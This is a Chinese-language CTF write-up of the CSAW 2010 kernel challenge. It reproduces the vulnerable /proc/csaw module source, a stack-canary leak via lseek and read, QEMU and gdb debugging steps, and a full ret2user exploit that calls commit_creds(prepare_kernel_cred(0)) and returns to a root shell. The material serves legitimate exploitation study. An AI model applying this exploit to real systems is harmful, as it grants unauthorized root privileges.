KERNEL-CSAW-2010-kernel

  1. 分析
  2. 利用
  3. exp
  4. 验证
  5. 思考与总结
  6. 参考

分析

2010年CSAW的一道kernel题目,似乎没有什么正经姓名,就叫它kernel好了。

我的环境是之前配置的32位环境。busybox-1.30.0 + linux2.6.32.1 + qemu

题目直接给了源代码:

/*
 * csaw.c
 * CSAW CTF Challenge Kernel Module
 * Jon Oberheide <jon@oberheide.org>
 *
 * This module implements the /proc/csaw interface which can be read
 * and written like a normal file. For example:
 *
 * $ cat /proc/csaw
 * Welcome to the CSAW CTF challenge. Best of luck!
 * $ echo "Hello World" > /proc/csaw
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");

static struct proc_dir_entry *csaw_proc;

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_write\n");

    /*
     * We should be safe to perform this copy from userspace since our
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }

    return count;
}

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_read\n");

    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);

    return MAX_LENGTH;
}

static int __init
csaw_init(void)
{
    printk(KERN_INFO "csaw: loading module\n");

    csaw_proc = create_proc_entry("csaw", 0666, NULL);
    csaw_proc->read_proc = csaw_read;
    csaw_proc->write_proc = csaw_write;

    printk(KERN_INFO "csaw: created /proc/csaw entry\n");

    return 0;
}

static void __exit
csaw_exit(void)
{
    if (csaw_proc) {
        remove_proc_entry("csaw", csaw_proc);
    }

    printk(KERN_INFO "csaw: unloading module\n");
}

module_init(csaw_init);
module_exit(csaw_exit);

经过了几天的学习,差不多也知道这种驱动ko文件代码差不多都是干什么的了。

如果我理解没问题的话,那么ko文件的意思可以理解为,在我们insmod了这个ko之后,对/proc/csaw这个文件的操作就会调用ko中可对应的函数,比如read就是执行了csaw_read,用户态到驱动是如何传入参数的这里暂时还没参透。

 

很明显问题出在csaw_write,没有检测用户输入的长度,就直接用copy_from_user往内核空间里传数据,所以是溢出了。

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_write\n");

    /*
     * We should be safe to perform this copy from userspace since our
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }

    return count;
}

 

作者这里提到了,kernel里开启了canary,跟用户控件一样,不能被破坏的,所以要么爆破,要么泄露。

观察csaw_read函数:

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_read\n");

    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);

    return MAX_LENGTH;
}

其中memcpy的时候,传了很长的数据给用户空间,如果控制一下off这个参数,那用这个就可以泄露canary

作者说控制这个参数用lseek就行了。

搜索了一下发现:lseek如果传入文件描述符fd以及SEEK_CUR其实也就可以控制off了。:

lseek(fd, off, SEEK_CUR)

 

然后知道了canary就可以执行栈溢出来覆盖ip指针进行提权了。

说着倒是挺简单,但是我以前没写过这种东西啊。

 

利用

首先是要把内核驱动编译,然后qemu跑起来。

编译的话采用muhe师傅的Makefile

obj-m := csaw.o  
KERNELDR := ~/linux-2.6.32.1/
PWD := $(shell pwd)  
modules:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
        rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

里面的空格报错要换成tab

 

得到csaw.ko文件后丢到busybox_install目录下的usr里,放到那里不重要,还能找到就行。

然后在_install目录下重新打包文件系统,每次往_install目录里放完东西都要加这一步:

find . | cpio -o --format=newc > ../rootfs.img

 

编译POCexp采用的命令为:

gcc -static exp.c -o exp

 

先写泄露canarydump.c

int main(int argc, char **argv){
    int fd;
    fd = open("/proc/csaw", O_RDWR);
    if(fd<0){
        printf("open file error.\n");
        exit(1);
    }

    lseek(fd, 16, SEEK_CUR);
    char buf[64] = {0};
    read(fd, buf, 64);

    // hexdump data.
    int i = 0;
    int j = 0;
    for(i=0; i<4; i++){
        for(j=0; j<16; j++){
            printf("%02x ", buf[i*16+j] & 0xff);
        }
        printf(" | ");
        for(j=0; j<16; j++){
            printf("%c", buf[i*16+j] & 0xff);
        }
        printf("\n");
    }

    return 0;
}

然后编译后也放到_install/usr目录下,然后去重新打包。

然后去起qemu,我的qemu启动命令就是:

qemu-system-i386 -kernel arch/i386/boot/bzImage -initrd ../busybox-1.30.0/rootfs.img -append "root=/dev/ram rdinit=/sbin/init" -gdb tcp::1234

 

然后运行dump发现果然泄露:

1561019776820

那个e1 01 3a 86 就是canary,下面我会证明这件事。

 

参考muhe师傅的第二篇入门文章来做调试的相关工作:

qemu里找.text的地址:

grep 0 /sys/module/csaw/sections/.text

1561020475781

 

然后启动gdb vmlinuxtarget remote :1234进入远程调试。

然后从gdb进入到_install/usr目录下

add-symbol-file ./csaw.ko 0xc8832000

然后就可以下符号断点了或者直接下源码的行数断点:

b csaw_read
or
b 65

再次运行dump,程序已经被断住了:

1561020616746

 

通过下断点可以得知canary传到了edi

1561021109344

可以证明我们找的canary的位置是对的:

1561021200638

现在有了canary就可以考虑开始覆盖ret的地址来提权,初次接触,所以提权代码怎么写又是个大问题。我只能试图去理解一下muhe师傅的思路。

首先肯定是通过覆盖ret将程序流劫持到我们的exp上来,然后调用了提权代码:

#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067fc0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067e20;

void payload(void){
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
        "iret;");
}

之前没见过,所以去查了一下这种写法:

__attribute__((regparm(n)))

其实就是i386下可以保证寄存器传参,n最大为3。

 

两个函数的地址是怎么找到的呢?

通过在启动的qemu里输入y以下命令查到:

grep commit_creds /proc/kallsyms
grep prepare_kernel_cred /proc/kallsyms

 

接下来这段汇编又是什么情况呢。将一个struct trap_frame的元素的起始位置作为栈顶,然后iret

struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;

void get_shell(void){
    execl("/bin/sh", "sh", NULL);
}

void init_tf_work(void){
    asm("pushl %cs;popl tf+4;" //set cs
        "pushfl;popl tf+8;"  //set eflags
        "pushl %esp;popl tf+12;"
        "pushl %ss;popl tf+16;");
    tf.eip = &get_shell;
    tf.esp -= 1024;
}

去搜索iret,然后从swing师傅的内核文章里找到了很好的解答

首先是更详细的trap_frame的解释:

struct trap_frame 
{
    void* eip;                // instruction pointer +0
    uint32_t cs;            // code segment    +4
    uint32_t eflags;        // CPU flags       +8
    void* esp;                // stack pointer       +12
    uint32_t ss;            // stack segment   +16
} __attribute__((packed));

void prepare_tf(void)
{
        asm("pushl %cs; popl tf+4;"    //填充tf.cs为当前的cs
        "pushfl; popl tf+8;"        //填充tf.eflags为当前的eflags
        "pushl %esp; popl tf+12;"    //填充tf.esp为当前的esp
        "pushl %ss; popl tf+16;");    //填充tf.ss为当前的ss
        tf.eip = &launch_shell;        //填充tf.eip为launch_shell
        tf.esp -= 1024;        //unused part of stack
}

trap_frame是硬件在栈上保存的结构,用iret可以通过这个结构体所记录的东西从内核态恢复到用户态去执行eip

所以现在就知道整段exp到底在干什么了:

  1. 首先通过泄露的canary以及寻找的偏移覆盖掉内核中csaw_write栈中的eip

  2. commit_creds(prepare_kernel_cred(0));实现内核态的提权。

  3. 伪造trap_frame结构体,将其eip指向shell,并将结构体设为栈顶。

  4. 调用iret返回用户态执行。即可完成。

exp

最终的exp.c如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
void launch_shell(void) 
{ 
    execl("/bin/sh", "sh", NULL);
}
struct trap_frame tf;
void prepare_tf(void) 
{ 
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &launch_shell;
    tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067fc0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067e20;
void payload(void){
    //payload here    
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
        "iret;");
}
int main(int argc,char *argv[]){
    int fd = open("/proc/csaw",O_RDWR);
    if(!fd){
        printf("error\n");
        exit(1);
    }
    lseek(fd,16,SEEK_CUR);
    char buffer[64] = {0};
    read(fd,buffer,64);
    int i,j;
    //memset(buffer,0x41,64);
    for(i = 0;i<4;i++){
        for(j = 0;j<16;j++){
            printf("%02x ",buffer[i*16+j] & 0xff);
        }
        printf(" | ");
        for(j = 0;j<16;j++){
            printf("%c",buffer[i*16+j] & 0xff);
        }
        printf("\n");
    }
    char canary[4] = {0};
    memcpy(canary,buffer+32,4);
    printf("CANARY:");
    for(i = 0;i<4;i++){
        printf("%02x",canary[i] & 0xff);
    }
    printf("\n");
    char poc[84] = {0};
    memset(poc,0x41,84);
    memcpy(poc+64,canary,4);//set canary
    *((void**)(poc+64+4+4)) = &payload;
    *((void**)(poc+64+4+4+4)) = &payload;
    *((void**)(poc+64+4+4+4+4)) = &payload;
    printf("[*]payload:%s\n",poc);
    printf("Triger bug:\n");
    //init tf struct;
    prepare_tf();
    write(fd,poc,84);
    return 0;
}

验证

exp.c编译后丢到_install/usr下,然后在_install目录下重新打包文件系统:

find . | cpio -o --format=newc > ../rootfs.img

然后qemu起系统,像这样模仿muhe师傅的操作添加一个用户:

1561028920879

呃,这里不要忘记先在rootinsmod csaw.ko

然后root

1561029351300

思考与总结

算是自己正经分析的第一篇kernelexp了,差不多把基本的套路摸清楚了,但是其实也只是梳理清楚了别人的思路,路还有很长,冲冲冲。

这种利用方法似乎就叫做ret2userSMEP保护其实就是为了防止这种情况发生的,还有如果开了KALSR这些内核函数的地址应该怎么搞呢,这些都是值得思考的问题。

参考

题目作者的博客

muhe师傅的第三篇入门文章实战

muhe师傅的第二篇入门文章调试

swing师傅的内核文章


connect 1037178204@qq.com

文章标题:KERNEL-CSAW-2010-kernel

本文作者:t1an5t

发布时间:2019-06-20, 19:42:11

最后更新:2020-02-05, 20:54:40

原始链接:http://yoursite.com/KERNEL-CSAW-2010-kernel/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录